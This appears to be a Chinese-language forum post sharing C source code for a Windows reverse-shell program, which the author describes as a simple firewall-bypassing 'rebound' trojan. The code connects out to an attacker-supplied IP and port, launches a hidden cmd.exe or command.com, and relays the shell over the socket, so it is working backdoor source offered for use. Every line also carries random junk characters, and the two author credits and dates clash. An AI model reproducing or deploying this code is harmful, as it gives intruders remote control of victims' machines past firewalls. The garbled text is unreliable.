这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 A$%Q4jC}
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/* ============================== tjZ \h=
Rebound port in Windows NT i<4>\nc
By wind,2006/7 pKt-R07*
===============================*/ )YzH k ;(
#include fJ)N:q`
#include fg9?3x
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#pragma comment(lib,"wsock32.lib") 0T9@,scY
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void OutputShell(); ;dqk@@O"(
SOCKET sClient; *'9)H0
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; gEr4zae
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void main(int argc,char **argv) <i_>
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{ x],8yR)R
WSADATA stWsaData; O!+nF]V4f
int nRet; .e`,{G(5q7
SOCKADDR_IN stSaiClient,stSaiServer; DR
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if(argc != 3) \4h>2y
{ w=f0*$ue+w
printf("Useage:\n\rRebound DestIP DestPort\n"); NXzU0
return; tmO;:n<N
} )Qh>0T+(
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WSAStartup(MAKEWORD(2,2),&stWsaData); G1kaF/`O
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uP{;*E3?
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stSaiClient.sin_family = AF_INET; e#>tM
stSaiClient.sin_port = htons(0); T*h!d(
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); cI*KRCU
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) UI!6aVL.
{ _ Ry_K3K
printf("Bind Socket Failed!\n"); v~^ks{
return; 33Ssylno
} #/OUGeJ
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stSaiServer.sin_family = AF_INET; IFiTTIlT0
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); "'['(e+7
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); =2^Vgc
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) `S"W8_m
{ # v.L$7O
printf("Connect Error!"); \'n$&PFe
return; X'cf&>h
} u-m %=2
OutputShell(); 'oleB_B
} B|cA[
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void OutputShell() Da"yZ\4
{ PC*m%
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char szBuff[1024]; CN$I:o04C
SECURITY_ATTRIBUTES stSecurityAttributes; `5~7IPl3
OSVERSIONINFO stOsversionInfo; 5a'yXB}
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; hP?7zz$*j
STARTUPINFO stStartupInfo; WK
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char *szShell; /&CUspb
PROCESS_INFORMATION stProcessInformation; Vy]A,Rn7
unsigned long lBytesRead; B,3 t`
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); A#<vG1
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); aK]7vp+
stSecurityAttributes.lpSecurityDescriptor = 0; @u,+F0Yd
stSecurityAttributes.bInheritHandle = TRUE; KwS`3 6:
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); HtxLMzgz<<
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); x_yF|]aI!
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A:/}`
stStartupInfo.wShowWindow = SW_HIDE; hQXxG/yFm
stStartupInfo.hStdInput = hReadPipe; aSUsyOe
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; +9RJ%i&Ec
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GetVersionEx(&stOsversionInfo); : (cb2j(C
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switch(stOsversionInfo.dwPlatformId) V|TA:&:7
{ z; J
case 1: JfMJF[Mb
szShell = "command.com"; L^lS^P
break; GE@uOJ6H
default: im=5{PbJ^
szShell = "cmd.exe"; 29%=: *R$
break; @8|Gh]\P
} D -6
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); pDGT@qJ
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send(sClient,szMsg,77,0); =nzFd-P
while(1) [eyb7\#
{ V"O9n[ |
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); H"_v+N5=
if(lBytesRead) HL@TcfOe~
{ ~x'zX-@rC
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); qYiv
send(sClient,szBuff,lBytesRead,0); +$PFHXB
} Mq@}snp"S
else l8^y]M
{ (v!mR+\x
lBytesRead=recv(sClient,szBuff,1024,0); x@Y|v@}BE
if(lBytesRead<=0) break; gV|Y54}T
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); D i+4Eb
} L;3aZt,#O
} y`rL=N#
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return; WHP;Neb6
}